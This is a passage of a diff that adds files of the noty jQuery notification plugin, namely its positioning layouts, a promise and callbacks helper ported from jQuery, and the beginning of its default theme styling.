+ $(this).css({
26
+ left: 5
27
+ });
28
+ }
29
+ }
30
+ },
31
+ parent: {
32
+ object: '<li />',
33
+ selector: 'li',
34
+ css: {}
35
+ },
36
+ css: {
37
+ display: 'none',
38
+ width: '310px'
39
+ },
40
+ addClass: ''
41
+ };
42
+
43
+ })(jQuery);
settings/types/js/noty/layouts/bottomRight.js ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.bottomRight = {
4
+ name: 'bottomRight',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_bottomRight_layout_container" />',
10
+ selector: 'ul#noty_bottomRight_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ bottom: 20,
14
+ right: 20,
15
+ position: 'fixed',
16
+ width: '310px',
17
+ height: 'auto',
18
+ margin: 0,
19
+ padding: 0,
20
+ listStyleType: 'none',
21
+ zIndex: 10000000
22
+ });
23
+
24
+ if (window.innerWidth < 600) {
25
+ $(this).css({
26
+ right: 5
27
+ });
28
+ }
29
+ }
30
+ },
31
+ parent: {
32
+ object: '<li />',
33
+ selector: 'li',
34
+ css: {}
35
+ },
36
+ css: {
37
+ display: 'none',
38
+ width: '310px'
39
+ },
40
+ addClass: ''
41
+ };
42
+
43
+ })(jQuery);
settings/types/js/noty/layouts/center.js ADDED
@@ -0,0 +1,56 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.center = {
4
+ name: 'center',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_center_layout_container" />',
10
+ selector: 'ul#noty_center_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ position: 'fixed',
14
+ width: '310px',
15
+ height: 'auto',
16
+ margin: 0,
17
+ padding: 0,
18
+ listStyleType: 'none',
19
+ zIndex: 10000000
20
+ });
21
+
22
+ // getting hidden height
23
+ var dupe = $(this).clone().css({visibility:"hidden", display:"block", position:"absolute", top: 0, left: 0}).attr('id', 'dupe');
24
+ $("body").append(dupe);
25
+ dupe.find('.i-am-closing-now').remove();
26
+ dupe.find('li').css('display', 'block');
27
+ var actual_height = dupe.height();
28
+ dupe.remove();
29
+
30
+ if ($(this).hasClass('i-am-new')) {
31
+ $(this).css({
32
+ left: ($(window).width() - $(this).outerWidth()) / 2 + 'px',
33
+ top: ($(window).height() - actual_height) / 2 + 'px'
34
+ });
35
+ } else {
36
+ $(this).animate({
37
+ left: ($(window).width() - $(this).outerWidth()) / 2 + 'px',
38
+ top: ($(window).height() - actual_height) / 2 + 'px'
39
+ }, 500);
40
+ }
41
+
42
+ }
43
+ },
44
+ parent: {
45
+ object: '<li />',
46
+ selector: 'li',
47
+ css: {}
48
+ },
49
+ css: {
50
+ display: 'none',
51
+ width: '310px'
52
+ },
53
+ addClass: ''
54
+ };
55
+
56
+ })(jQuery);
settings/types/js/noty/layouts/centerLeft.js ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.centerLeft = {
4
+ name: 'centerLeft',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_centerLeft_layout_container" />',
10
+ selector: 'ul#noty_centerLeft_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ left: 20,
14
+ position: 'fixed',
15
+ width: '310px',
16
+ height: 'auto',
17
+ margin: 0,
18
+ padding: 0,
19
+ listStyleType: 'none',
20
+ zIndex: 10000000
21
+ });
22
+
23
+ // getting hidden height
24
+ var dupe = $(this).clone().css({visibility:"hidden", display:"block", position:"absolute", top: 0, left: 0}).attr('id', 'dupe');
25
+ $("body").append(dupe);
26
+ dupe.find('.i-am-closing-now').remove();
27
+ dupe.find('li').css('display', 'block');
28
+ var actual_height = dupe.height();
29
+ dupe.remove();
30
+
31
+ if ($(this).hasClass('i-am-new')) {
32
+ $(this).css({
33
+ top: ($(window).height() - actual_height) / 2 + 'px'
34
+ });
35
+ } else {
36
+ $(this).animate({
37
+ top: ($(window).height() - actual_height) / 2 + 'px'
38
+ }, 500);
39
+ }
40
+
41
+ if (window.innerWidth < 600) {
42
+ $(this).css({
43
+ left: 5
44
+ });
45
+ }
46
+
47
+ }
48
+ },
49
+ parent: {
50
+ object: '<li />',
51
+ selector: 'li',
52
+ css: {}
53
+ },
54
+ css: {
55
+ display: 'none',
56
+ width: '310px'
57
+ },
58
+ addClass: ''
59
+ };
60
+
61
+ })(jQuery);
settings/types/js/noty/layouts/centerRight.js ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.centerRight = {
4
+ name: 'centerRight',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_centerRight_layout_container" />',
10
+ selector: 'ul#noty_centerRight_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ right: 20,
14
+ position: 'fixed',
15
+ width: '310px',
16
+ height: 'auto',
17
+ margin: 0,
18
+ padding: 0,
19
+ listStyleType: 'none',
20
+ zIndex: 10000000
21
+ });
22
+
23
+ // getting hidden height
24
+ var dupe = $(this).clone().css({visibility:"hidden", display:"block", position:"absolute", top: 0, left: 0}).attr('id', 'dupe');
25
+ $("body").append(dupe);
26
+ dupe.find('.i-am-closing-now').remove();
27
+ dupe.find('li').css('display', 'block');
28
+ var actual_height = dupe.height();
29
+ dupe.remove();
30
+
31
+ if ($(this).hasClass('i-am-new')) {
32
+ $(this).css({
33
+ top: ($(window).height() - actual_height) / 2 + 'px'
34
+ });
35
+ } else {
36
+ $(this).animate({
37
+ top: ($(window).height() - actual_height) / 2 + 'px'
38
+ }, 500);
39
+ }
40
+
41
+ if (window.innerWidth < 600) {
42
+ $(this).css({
43
+ right: 5
44
+ });
45
+ }
46
+
47
+ }
48
+ },
49
+ parent: {
50
+ object: '<li />',
51
+ selector: 'li',
52
+ css: {}
53
+ },
54
+ css: {
55
+ display: 'none',
56
+ width: '310px'
57
+ },
58
+ addClass: ''
59
+ };
60
+
61
+ })(jQuery);
settings/types/js/noty/layouts/inline.js ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.inline = {
4
+ name: 'inline',
5
+ options: {},
6
+ container: {
7
+ object: '<ul id="noty_inline_layout_container" />',
8
+ selector: 'ul#noty_inline_layout_container',
9
+ style: function() {
10
+ $(this).css({
11
+ width: '100%',
12
+ height: 'auto',
13
+ margin: 0,
14
+ padding: 0,
15
+ listStyleType: 'none',
16
+ zIndex: 9999999
17
+ });
18
+ }
19
+ },
20
+ parent: {
21
+ object: '<li />',
22
+ selector: 'li',
23
+ css: {}
24
+ },
25
+ css: {
26
+ display: 'none'
27
+ },
28
+ addClass: ''
29
+ };
30
+
31
+ })(jQuery);
settings/types/js/noty/layouts/top.js ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.top = {
4
+ name: 'top',
5
+ options: {},
6
+ container: {
7
+ object: '<ul id="noty_top_layout_container" />',
8
+ selector: 'ul#noty_top_layout_container',
9
+ style: function() {
10
+ $(this).css({
11
+ top: 0,
12
+ left: '5%',
13
+ position: 'fixed',
14
+ width: '90%',
15
+ height: 'auto',
16
+ margin: 0,
17
+ padding: 0,
18
+ listStyleType: 'none',
19
+ zIndex: 9999999
20
+ });
21
+ }
22
+ },
23
+ parent: {
24
+ object: '<li />',
25
+ selector: 'li',
26
+ css: {}
27
+ },
28
+ css: {
29
+ display: 'none'
30
+ },
31
+ addClass: ''
32
+ };
33
+
34
+ })(jQuery);
settings/types/js/noty/layouts/topCenter.js ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.topCenter = {
4
+ name: 'topCenter',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_topCenter_layout_container" />',
10
+ selector: 'ul#noty_topCenter_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ top: 20,
14
+ left: 0,
15
+ position: 'fixed',
16
+ width: '310px',
17
+ height: 'auto',
18
+ margin: 0,
19
+ padding: 0,
20
+ listStyleType: 'none',
21
+ zIndex: 10000000
22
+ });
23
+
24
+ $(this).css({
25
+ left: ($(window).width() - $(this).outerWidth()) / 2 + 'px'
26
+ });
27
+ }
28
+ },
29
+ parent: {
30
+ object: '<li />',
31
+ selector: 'li',
32
+ css: {}
33
+ },
34
+ css: {
35
+ display: 'none',
36
+ width: '310px'
37
+ },
38
+ addClass: ''
39
+ };
40
+
41
+ })(jQuery);
settings/types/js/noty/layouts/topLeft.js ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.topLeft = {
4
+ name: 'topLeft',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_topLeft_layout_container" />',
10
+ selector: 'ul#noty_topLeft_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ top: 20,
14
+ left: 20,
15
+ position: 'fixed',
16
+ width: '310px',
17
+ height: 'auto',
18
+ margin: 0,
19
+ padding: 0,
20
+ listStyleType: 'none',
21
+ zIndex: 10000000
22
+ });
23
+
24
+ if (window.innerWidth < 600) {
25
+ $(this).css({
26
+ left: 5
27
+ });
28
+ }
29
+ }
30
+ },
31
+ parent: {
32
+ object: '<li />',
33
+ selector: 'li',
34
+ css: {}
35
+ },
36
+ css: {
37
+ display: 'none',
38
+ width: '310px'
39
+ },
40
+ addClass: ''
41
+ };
42
+
43
+ })(jQuery);
settings/types/js/noty/layouts/topRight.js ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.topRight = {
4
+ name: 'topRight',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_topRight_layout_container" />',
10
+ selector: 'ul#noty_topRight_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ top: 20,
14
+ right: 20,
15
+ position: 'fixed',
16
+ width: '310px',
17
+ height: 'auto',
18
+ margin: 0,
19
+ padding: 0,
20
+ listStyleType: 'none',
21
+ zIndex: 10000000
22
+ });
23
+
24
+ if (window.innerWidth < 600) {
25
+ $(this).css({
26
+ right: 5
27
+ });
28
+ }
29
+ }
30
+ },
31
+ parent: {
32
+ object: '<li />',
33
+ selector: 'li',
34
+ css: {}
35
+ },
36
+ css: {
37
+ display: 'none',
38
+ width: '310px'
39
+ },
40
+ addClass: ''
41
+ };
42
+
43
+ })(jQuery);
settings/types/js/noty/promise.js ADDED
@@ -0,0 +1,432 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*!
2
+ * Noty Helpers Javascript From JQuery Javascript Library
3
+ *
4
+ * Ported by Maksim Pecherskiy. Original Licensing:
5
+ *
6
+ * http://jquery.com/
7
+ *
8
+ * Copyright 2011, John Resig
9
+ * Dual licensed under the MIT or GPL Version 2 licenses.
10
+ * http://jquery.org/license
11
+ *
12
+ * Includes Sizzle.js
13
+ * http://sizzlejs.com/
14
+ * Copyright 2011, The Dojo Foundation
15
+ * Released under the MIT, BSD, and GPL Licenses.
16
+ *
17
+ * Date: Mon Nov 21 21:11:03 2011 -0500
18
+ */
19
+
20
+
21
+ (function(){
22
+
23
+ // String to Object flags format cache
24
+ var flagsCache = {};
25
+
26
+ // Convert String-formatted flags into Object-formatted ones and store in cache
27
+ function createFlags( flags ) {
28
+ var object = flagsCache[ flags ] = {},
29
+ i, length;
30
+ flags = flags.split( /\s+/ );
31
+ for ( i = 0, length = flags.length; i < length; i++ ) {
32
+ object[ flags[i] ] = true;
33
+ }
34
+ return object;
35
+ }
36
+
37
+ jQuery.extend({
38
+
39
+ _mark: function( elem, type ) {
40
+ if ( elem ) {
41
+ type = (type || "fx") + "mark";
42
+ jQuery.data( elem, type, (jQuery.data(elem,type,undefined,true) || 0) + 1, true );
43
+ }
44
+ },
45
+
46
+ _unmark: function( force, elem, type ) {
47
+ if ( force !== true ) {
48
+ type = elem;
49
+ elem = force;
50
+ force = false;
51
+ }
52
+ if ( elem ) {
53
+ type = type || "fx";
54
+ var key = type + "mark",
55
+ count = force ? 0 : ( (jQuery.data( elem, key, undefined, true) || 1 ) - 1 );
56
+ if ( count ) {
57
+ jQuery.data( elem, key, count, true );
58
+ } else {
59
+ jQuery.removeData( elem, key, true );
60
+ handleQueueMarkDefer( elem, type, "mark" );
61
+ }
62
+ }
63
+ },
64
+
65
+ queue: function( elem, type, data ) {
66
+ if ( elem ) {
67
+ type = (type || "fx") + "queue";
68
+ var q = jQuery.data( elem, type, undefined, true );
69
+ // Speed up dequeue by getting out quickly if this is just a lookup
70
+ if ( data ) {
71
+ if ( !q || jQuery.isArray(data) ) {
72
+ q = jQuery.data( elem, type, jQuery.makeArray(data), true );
73
+ } else {
74
+ q.push( data );
75
+ }
76
+ }
77
+ return q || [];
78
+ }
79
+ },
80
+
81
+ dequeue: function( elem, type ) {
82
+ type = type || "fx";
83
+
84
+ var queue = jQuery.queue( elem, type ),
85
+ fn = queue.shift(),
86
+ defer;
87
+
88
+ // If the fx queue is dequeued, always remove the progress sentinel
89
+ if ( fn === "inprogress" ) {
90
+ fn = queue.shift();
91
+ }
92
+
93
+ if ( fn ) {
94
+ // Add a progress sentinel to prevent the fx queue from being
95
+ // automatically dequeued
96
+ if ( type === "fx" ) {
97
+ queue.unshift("inprogress");
98
+ }
99
+
100
+ fn.call(elem, function() {
101
+ jQuery.dequeue(elem, type);
102
+ });
103
+ }
104
+
105
+ if ( !queue.length ) {
106
+ jQuery.removeData( elem, type + "queue", true );
107
+ handleQueueMarkDefer( elem, type, "queue" );
108
+ }
109
+ }
110
+ });
111
+
112
+ jQuery.fn.extend({
113
+ queue: function( type, data ) {
114
+ if ( typeof type !== "string" ) {
115
+ data = type;
116
+ type = "fx";
117
+ }
118
+
119
+ if ( data === undefined ) {
120
+ return jQuery.queue( this[0], type );
121
+ }
122
+ return this.each(function() {
123
+ var queue = jQuery.queue( this, type, data );
124
+
125
+ if ( type === "fx" && queue[0] !== "inprogress" ) {
126
+ jQuery.dequeue( this, type );
127
+ }
128
+ });
129
+ },
130
+ dequeue: function( type ) {
131
+ return this.each(function() {
132
+ jQuery.dequeue( this, type );
133
+ });
134
+ },
135
+ // Based off of the plugin by Clint Helfers, with permission.
136
+ // http://blindsignals.com/index.php/2009/07/jquery-delay/
137
+ delay: function( time, type ) {
138
+ time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
139
+ type = type || "fx";
140
+
141
+ return this.queue( type, function() {
142
+ var elem = this;
143
+ setTimeout(function() {
144
+ jQuery.dequeue( elem, type );
145
+ }, time );
146
+ });
147
+ },
148
+ clearQueue: function( type ) {
149
+ return this.queue( type || "fx", [] );
150
+ },
151
+ // Get a promise resolved when queues of a certain type
152
+ // are emptied (fx is the type by default)
153
+ promise: function( type, object ) {
154
+ if ( typeof type !== "string" ) {
155
+ object = type;
156
+ type = undefined;
157
+ }
158
+ type = type || "fx";
159
+ var defer = jQuery.Deferred(),
160
+ elements = this,
161
+ i = elements.length,
162
+ count = 1,
163
+ deferDataKey = type + "defer",
164
+ queueDataKey = type + "queue",
165
+ markDataKey = type + "mark",
166
+ tmp;
167
+ function resolve() {
168
+ if ( !( --count ) ) {
169
+ defer.resolveWith( elements, [ elements ] );
170
+ }
171
+ }
172
+ while( i-- ) {
173
+ if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||
174
+ ( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||
175
+ jQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&
176
+ jQuery.data( elements[ i ], deferDataKey, jQuery._Deferred(), true ) )) {
177
+ count++;
178
+ tmp.done( resolve );
179
+ }
180
+ }
181
+ resolve();
182
+ return defer.promise();
183
+ }
184
+ });
185
+
186
+ function handleQueueMarkDefer( elem, type, src ) {
187
+ var deferDataKey = type + "defer",
188
+ queueDataKey = type + "queue",
189
+ markDataKey = type + "mark",
190
+ defer = jQuery._data( elem, deferDataKey );
191
+ if ( defer &&
192
+ ( src === "queue" || !jQuery._data(elem, queueDataKey) ) &&
193
+ ( src === "mark" || !jQuery._data(elem, markDataKey) ) ) {
194
+ // Give room for hard-coded callbacks to fire first
195
+ // and eventually mark/queue something else on the element
196
+ setTimeout( function() {
197
+ if ( !jQuery._data( elem, queueDataKey ) &&
198
+ !jQuery._data( elem, markDataKey ) ) {
199
+ jQuery.removeData( elem, deferDataKey, true );
200
+ defer.fire();
201
+ }
202
+ }, 0 );
203
+ }
204
+ }
205
+
206
+
207
+
208
+ jQuery.Callbacks = function( flags ) {
209
+
210
+ // Convert flags from String-formatted to Object-formatted
211
+ // (we check in cache first)
212
+ flags = flags ? ( /*flagsCache[ flags ] || */createFlags( flags ) ) : {};
213
+
214
+ var // Actual callback list
215
+ list = [],
216
+ // Stack of fire calls for repeatable lists
217
+ stack = [],
218
+ // Last fire value (for non-forgettable lists)
219
+ memory,
220
+ // Flag to know if list is currently firing
221
+ firing,
222
+ // First callback to fire (used internally by add and fireWith)
223
+ firingStart,
224
+ // End of the loop when firing
225
+ firingLength,
226
+ // Index of currently firing callback (modified by remove if needed)
227
+ firingIndex,
228
+ // Add one or several callbacks to the list
229
+ add = function( args ) {
230
+ var i,
231
+ length,
232
+ elem,
233
+ type,
234
+ actual;
235
+ for ( i = 0, length = args.length; i < length; i++ ) {
236
+ elem = args[ i ];
237
+ type = jQuery.type( elem );
238
+ if ( type === "array" ) {
239
+ // Inspect recursively
240
+ add( elem );
241
+ } else if ( type === "function" ) {
242
+ // Add if not in unique mode and callback is not in
243
+ if ( !flags.unique || !self.has( elem ) ) {
244
+ list.push( elem );
245
+ }
246
+ }
247
+ }
248
+ },
249
+ // Fire callbacks
250
+ fire = function( context, args ) {
251
+ args = args || [];
252
+ memory = !flags.memory || [ context, args ];
253
+ firing = true;
254
+ firingIndex = firingStart || 0;
255
+ firingStart = 0;
256
+ firingLength = list.length;
257
+ for ( ; list && firingIndex < firingLength; firingIndex++ ) {
258
+ if ( list[ firingIndex ].apply( context, args ) === false && flags.stopOnFalse ) {
259
+ memory = true; // Mark as halted
260
+ break;
261
+ }
262
+ }
263
+ firing = false;
264
+ if ( list ) {
265
+ if ( !flags.once ) {
266
+ if ( stack && stack.length ) {
267
+ memory = stack.shift();
268
+ self.fireWith( memory[ 0 ], memory[ 1 ] );
269
+ }
270
+ } else if ( memory === true ) {
271
+ self.disable();
272
+ } else {
273
+ list = [];
274
+ }
275
+ }
276
+ },
277
+ // Actual Callbacks object
278
+ self = {
279
+ // Add a callback or a collection of callbacks to the list
280
+ add: function() {
281
+ if ( list ) {
282
+ var length = list.length;
283
+ add( arguments );
284
+ // Do we need to add the callbacks to the
285
+ // current firing batch?
286
+ if ( firing ) {
287
+ firingLength = list.length;
288
+ // With memory, if we're not firing then
289
+ // we should call right away, unless previous
290
+ // firing was halted (stopOnFalse)
291
+ } else if ( memory && memory !== true ) {
292
+ firingStart = length;
293
+ fire( memory[ 0 ], memory[ 1 ] );
294
+ }
295
+ }
296
+ return this;
297
+ },
298
+ // Remove a callback from the list
299
+ remove: function() {
300
+ if ( list ) {
301
+ var args = arguments,
302
+ argIndex = 0,
303
+ argLength = args.length;
304
+ for ( ; argIndex < argLength ; argIndex++ ) {
305
+ for ( var i = 0; i < list.length; i++ ) {
306
+ if ( args[ argIndex ] === list[ i ] ) {
307
+ // Handle firingIndex and firingLength
308
+ if ( firing ) {
309
+ if ( i <= firingLength ) {
310
+ firingLength--;
311
+ if ( i <= firingIndex ) {
312
+ firingIndex--;
313
+ }
314
+ }
315
+ }
316
+ // Remove the element
317
+ list.splice( i--, 1 );
318
+ // If we have some unicity property then
319
+ // we only need to do this once
320
+ if ( flags.unique ) {
321
+ break;
322
+ }
323
+ }
324
+ }
325
+ }
326
+ }
327
+ return this;
328
+ },
329
+ // Control if a given callback is in the list
330
+ has: function( fn ) {
331
+ if ( list ) {
332
+ var i = 0,
333
+ length = list.length;
334
+ for ( ; i < length; i++ ) {
335
+ if ( fn === list[ i ] ) {
336
+ return true;
337
+ }
338
+ }
339
+ }
340
+ return false;
341
+ },
342
+ // Remove all callbacks from the list
343
+ empty: function() {
344
+ list = [];
345
+ return this;
346
+ },
347
+ // Have the list do nothing anymore
348
+ disable: function() {
349
+ list = stack = memory = undefined;
350
+ return this;
351
+ },
352
+ // Is it disabled?
353
+ disabled: function() {
354
+ return !list;
355
+ },
356
+ // Lock the list in its current state
357
+ lock: function() {
358
+ stack = undefined;
359
+ if ( !memory || memory === true ) {
360
+ self.disable();
361
+ }
362
+ return this;
363
+ },
364
+ // Is it locked?
365
+ locked: function() {
366
+ return !stack;
367
+ },
368
+ // Call all callbacks with the given context and arguments
369
+ fireWith: function( context, args ) {
370
+ if ( stack ) {
371
+ if ( firing ) {
372
+ if ( !flags.once ) {
373
+ stack.push( [ context, args ] );
374
+ }
375
+ } else if ( !( flags.once && memory ) ) {
376
+ fire( context, args );
377
+ }
378
+ }
379
+ return this;
380
+ },
381
+ // Call all the callbacks with the given arguments
382
+ fire: function() {
383
+ self.fireWith( this, arguments );
384
+ return this;
385
+ },
386
+ // To know if the callbacks have already been called at least once
387
+ fired: function() {
388
+ return !!memory;
389
+ }
390
+ };
391
+
392
+ return self;
393
+ };
394
+
395
+
396
+
397
+ jQuery.fn.extend({
398
+ // Get a promise resolved when queues of a certain type
399
+ // are emptied (fx is the type by default)
400
+ promise: function( type, object ) {
401
+ if ( typeof type !== "string" ) {
402
+ object = type;
403
+ type = undefined;
404
+ }
405
+ type = type || "fx";
406
+ var defer = jQuery.Deferred(),
407
+ elements = this,
408
+ i = elements.length,
409
+ count = 1,
410
+ deferDataKey = type + "defer",
411
+ queueDataKey = type + "queue",
412
+ markDataKey = type + "mark",
413
+ tmp;
414
+ function resolve() {
415
+ if ( !( --count ) ) {
416
+ defer.resolveWith( elements, [ elements ] );
417
+ }
418
+ }
419
+ while( i-- ) {
420
+ if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||
421
+ ( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||
422
+ jQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&
423
+ jQuery.data( elements[ i ], deferDataKey, jQuery.Callbacks( "once memory" ), true ) )) {
424
+ count++;
425
+ tmp.add( resolve );
426
+ }
427
+ }
428
+ resolve();
429
+ return defer.promise();
430
+ }
431
+ });
432
+ })();
settings/types/js/noty/themes/default.js ADDED
@@ -0,0 +1,156 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.themes.defaultTheme = {
4
+ name: 'defaultTheme',
5
+ helpers: {
6
+ borderFix: function() {
7
+ if (this.options.dismissQueue) {
8
+ var selector = this.options.layout.container.selector + ' ' + this.options.layout.parent.selector;
9
+ switch (this.options.layout.name) {
10
+ case 'top':
11
+ $(selector).css({borderRadius: '0px 0px 0px 0px'});
12
+ $(selector).last().css({borderRadius: '0px 0px 5px 5px'}); break;
13
+ case 'topCenter': case 'topLeft': case 'topRight':
14
+ case 'bottomCenter': case 'bottomLeft': case 'bottomRight':
15
+ case 'center': case 'centerLeft': case 'centerRight': case 'inline':
16
+ $(selector).css({borderRadius: '0px 0px 0px 0px'});
17
+ $(selector).first().css({'border-top-left-radius': '5px', 'border-top-right-radius': '5px'});
18
+ $(selector).last().css({'border-bottom-left-radius': '5px', 'border-bottom-right-radius': '5px'}); break;
19
+ case 'bottom':
20
+ $(selector).css({borderRadius: '0px 0px 0px 0px'});
21
+ $(selector).first().css({borderRadius: '5px 5px 0px 0px'}); break;
22
+ default: break;
23
+ }
24
+ }
25
+ }
26
+ },
27
+ modal: {
28
+ css: {
29
+ position: 'fixed',
30
+ width: '100%',
31
+ height: '100%',
32
+ backgroundColor: '#000',
33
+ zIndex: 10000,
34
+ opacity: 0.6,
35
+ display: 'none',
36
+ left: 0,
37
+ top: 0
38
+ }
39
+ },
40
+ style: function() {
41
+
42
+ this.$bar.css({
43
+ overflow: 'hidden',
44
+ background: "url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAoCAYAAAAPOoFWAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPZJREFUeNq81tsOgjAMANB2ov7/7ypaN7IlIwi9rGuT8QSc9EIDAsAznxvY4pXPKr05RUE5MEVB+TyWfCEl9LZApYopCmo9C4FKSMtYoI8Bwv79aQJU4l6hXXCZrQbokJEksxHo9KMOgc6w1atHXM8K9DVC7FQnJ0i8iK3QooGgbnyKgMDygBWyYFZoqx4qS27KqLZJjA1D0jK6QJcYEQEiWv9PGkTsbqxQ8oT+ZtZB6AkdsJnQDnMoHXHLGKOgDYuCWmYhEERCI5gaamW0bnHdA3k2ltlIN+2qKRyCND0bhqSYCyTB3CAOc4WusBEIpkeBuPgJMAAX8Hs1NfqHRgAAAABJRU5ErkJggg==') repeat-x scroll left top #fff"
45
+ });
46
+
47
+ this.$message.css({
48
+ fontSize: '13px',
49
+ lineHeight: '16px',
50
+ textAlign: 'center',
51
+ padding: '8px 10px 9px',
52
+ width: 'auto',
53
+ position: 'relative'
54
+ });
55
+
56
+ this.$closeButton.css({
57
+ position: 'absolute',
58
+ top: 4, right: 4,
59
+ width: 10, height: 10,
60
